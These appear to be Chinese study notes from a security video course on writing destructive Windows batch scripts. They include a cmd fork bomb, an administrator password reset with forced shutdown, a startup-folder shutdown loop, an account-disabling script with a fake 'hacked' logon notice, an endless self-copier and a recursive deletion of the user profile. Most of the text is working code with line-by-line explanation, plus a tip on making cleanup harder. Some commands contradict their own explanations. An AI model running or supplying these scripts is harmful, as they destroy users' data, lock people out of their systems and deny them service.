# 学习视频笔记均来自B站UP主" 泷羽sec",如涉及侵权马上删除文章
仅用于学习参考,不要越过法律红线
一、资源耗尽病毒
bat(脚本 文件后缀名 .bat) “批处理资源耗尽病毒”或“fork 炸弹”,它会在系统中生成大量的命令行窗口,逐渐占用系统的 CPU 和内存资源,最终导致系统变慢甚至崩溃。
start cmd > 1.txt
%0 >> 1.txt
代码分析
1. start cmd : start 命令会打开一个新的命令行窗口( cmd ),这将创建一个新的命令 行进程。 2. %0 :在批处理脚本中, %0 代表脚本文件自身的路径(即脚本文件的名字)。将 %0 放 在 start cmd 后面,会使新启动的命令行窗口重新运行当前批处理文件。
脚本运行过程
1)每次运行此脚本时,都会启动一个新的 cmd 窗口,并在该窗口中再次执行当前脚本。
2)新的 cmd 窗口会启动另一个 cmd 窗口,这个过程会不断重复,最终生成大量的 cmd 窗 口。
3)由于这些窗口在不断创建,系统的 CPU 和内存资源会被大量占用,导致资源耗尽,系统 变慢,甚至崩溃。
运行病毒
1. Windows7
echo start cmd > 1.txt
echo %0 >> 1.txt
ren 1.txt 1.bat
2.Windows Server 2022
解决方式:重启
二、锁机病毒
net user administrator 123456
echo shutdown /n /t 0
代码分析
1)administrator 用户的密码更改为 123456 。这样做可能会导致原始系统管理员丢失对 该用户账户的控制权。
2)其中 /s 表示关闭计算机, /t 0 表示立即执行,执行该批处理文件将会使计算机立即 关机。
脚本运行过程
更改 administrator 用户的密码为 123456 。
shutdown /s /t 0 立刻关机,使当前会话结束,迫使之后只能重新登录用户。
运行病毒
1. Windows7
2.Windows Server 2022
三、无限重启病毒
通过将一个批处理文件添加到启动文件夹来实现。它会使 系统进入无限重启的状态,影响正常使用,且每次启动系统时都会自动执行关机命令,导致用 户无法正常进入桌面。
echo shutdown /s /t 0 > c:\windows\Temp\1.bat
copy c:\windows\Temp\1.bat
"%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\"
代码分析
1)其中 /s 表示关闭计算机, /t 0 表示立即执行,执行该批处理文件将会使计算机 立即关机。
2)该行代码将 1.bat 文件复制到启动文件夹 %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ 中。 启动文件夹中的所有文件会在用户登录时自动执行,因此这会让 1.bat 在每次开 机时自动运行,导致系统进入无限重启状态。
脚本运行过程
1. 创建恶意批处理文件: 第一行将 shutdown /s /t 0 (应修正)写入到 c:\windows\Temp\1.bat 中,这 个批处理文件的作用是立即关闭计算机。
2. 将批处理文件复制到启动文件夹: 第二行将 1.bat 复制到 Windows 的启动文件夹中。 启动文件夹中的程序会在用户登录时自动运行,因此每次系统启动时, 1.bat 都会 自动执行,导致系统立即关机。
3. 无限重启效果: 由于该批处理文件会在每次登录时自动执行关机操作,用户几乎无法正常进入系统 桌面,形成无限重启的效果。
运行病毒
在运行以后会立刻关机,再次启动时会立即关机
四、禁用当前账户
在批处理(Batch)脚本中,可以通过禁用当前用户账户和修改系统登录信息来达到“锁定账户 并提示用户已被锁定”的效果。
@echo off
:: 获取当前用户名
for /f "tokens=2 delims=\ " %%a in ('whoami') do set username=%%a
:: 禁用当前用户账户
net user %username% /active:no
:: 设置登录提示信息
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v
legalnoticecaption /t REG_SZ /d "你已经被hack,账户锁定" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v
legalnoticetext /t REG_SZ /d "你已经被hack,你的账户已被锁定,请联系管理员。" /f
:: 立刻关机
shutdown /s /t 0
代码分析
1. 关闭命令回显:
@echo off
echo off :将批处理文件中所有命令的回显功能关闭。关闭回显后,批处理文件中的命 令将不会显示在命令行窗口中,仅显示命令的输出结果。这样可以让脚本执行过程更清 洁,避免用户看到每一条执行的命令。
@ :在批处理文件中使用 @ 符号,表示只在当前行关闭回显(在该行不显示此命令本 身)。在这里, @ 用来隐藏 echo off 命令本身的回显。也就是说,用户不会在命令行 窗口中看到 echo off 。
2. 获取当前用户名:
cmd中可以使用 whoami 获取当前用户信息,但是 whoami 会包含用户所处域的名称,例 如 DESKTOP-12345\John ,我们需要使用脚本处理该段字符串,获取后面的用户名。
for /f "tokens=2 delims=\ " %%a in ('whoami') do set username=%%a
3.禁用当前用户账户:
net user %username% /active:no
4.设置登录提示信息:
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v
legalnoticecaption /t REG_SZ /d "你已经被hack,账户锁定" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v
legalnoticetext /t REG_SZ /d "你已经被hack,你的账户已被锁定,请联系管理员。" /f
5.使用 reg add 命令向注册表中添加登录提示信息。
legalnoticecaption :设置提示框标题。 legalnoticetext :设置提示内容,这里可以自定义为“你已经被hack,你的账户已被锁 定,请联系管理员。”。
6.立刻关闭主机:
shutdown /s /t 0
脚本运行过程
1. 运行脚本:以管理员权限运行该批处理脚本。
2. 账户禁用:脚本会获取当前用户名,并将该用户账户设置为禁用状态。
3. 立刻关闭主机:脚本在禁用账户后会立刻关闭主机。
4. 尝试重新登录:当用户再次登录系统时,将显示“账户已被锁定,请联系管理员”的提示。 5. 账户禁用效果:账户被禁用后,即使输入正确的密码也无法登录系统。
运行病毒
1. Windows7
2.Windows Server 2022
五、无限复制本体
该脚本会将自身无限复制到桌面,最终占满桌面空间并可能耗尽系统资源。
@echo off
setlocal enabledelayedexpansion
:: 获取当前脚本文件路径和文件名
set scriptPath=%~f0
set desktopPath=%USERPROFILE%\Desktop
:: 无限复制当前脚本到桌面
:loop
set /a count+=1
copy "%scriptPath%" "%desktopPath%\Copy_%count%.bat"
goto loop
代码分析
1. 启用延迟变量扩展
setlocal enabledelayedexpansion
setlocal enabledelayedexpansion :启用延迟变量扩展,这样可以在循环中动态更新 变量的值。延迟扩展在批处理脚本中非常有用,特别是在处理循环时。
但实测后不加这个行代码对当期那脚本无影响,可能最是对for循环有作用。
2. 获取脚本路径和桌面路径
set scriptPath=%~f0
set desktopPath=%USERPROFILE%\Desktop
set scriptPath=%~f0 :获取当前脚本文件的完整路径,并将其存储在变量 scriptPath 中。 %~f0 表示当前批处理文件的完整路径。
set desktopPath=%USERPROFILE%\Desktop :获取当前用户桌面的路径,将其存储在变 量 desktopPath 中。 %USERPROFILE% 是系统环境变量,指向当前用户的主文件夹路 径。
3. 无限循环复制脚本
:loop
set /a count+=1
copy "%scriptPath%" "%desktopPath%\Copy_%count%.bat"
goto loop
1) loop :定义一个标签 loop ,用于无限循环的入口。
2) set /a count+=1 :定义一个计数器 count ,并在每次循环时自增 1,用于生成唯一的 文件名, /a 告诉 set 命令对右侧的表达式进行算术运算。
3) copy "%scriptPath%" "%desktopPath%\Copy_%count%.bat" :将当前脚本文件复制到 桌面,并命名为 Copy_1.bat 、 Copy_2.bat 等等。 %count% 确保每次复制文件的文件 名不同,以避免覆盖。
4)goto loop :跳转回 loop 标签,形成无限循环。
脚本运行过程
1. 启动脚本:运行此脚本后,它会进入无限循环。
2. 复制脚本文件:在每次循环中,脚本会将自身复制到桌面,并使用不同的文件名。
3. 占用系统资源:随着循环的进行,桌面上会不断生成新的脚本文件,最终可能占满桌面 空间,并导致系统存储空间耗尽。
4. 系统影响:如果存储空间被完全填满,系统性能可能显著下降,甚至会影响其他程序的 正常运行。
运行病毒
1. Windows7
运行后全屏都是脚本文件
解决方式
文件名命名有点单一,直接 del Copy* 就全删了
拓展:可以把复制后的文件名称改成随机字符 (可自己尝试)
六、删除系统文件
该脚本目的删除当前用户目录下所有文件。
@echo off
:: 删除当前用户目录下的所有内容
rd /s /q "%USERPROFILE%\"
代码说明
rd /s /q "%userprofile%\*" :递归删除 %userprofile% 目录下的所有内容。
/s :删除指定目录及其所有子目录和文件。
/q :静默模式,不显示确认提示。
"%userprofile%\*" :指向当前用户主目录下的所有文件和文件夹。
运行病毒
1. Windows7
以上仅用于学习参考,一切产生后果于自己承担
相应的虚拟机可以自行下载,后续文章会给一些下载链接
在进行实验前,可以先快照以防止虚拟机损坏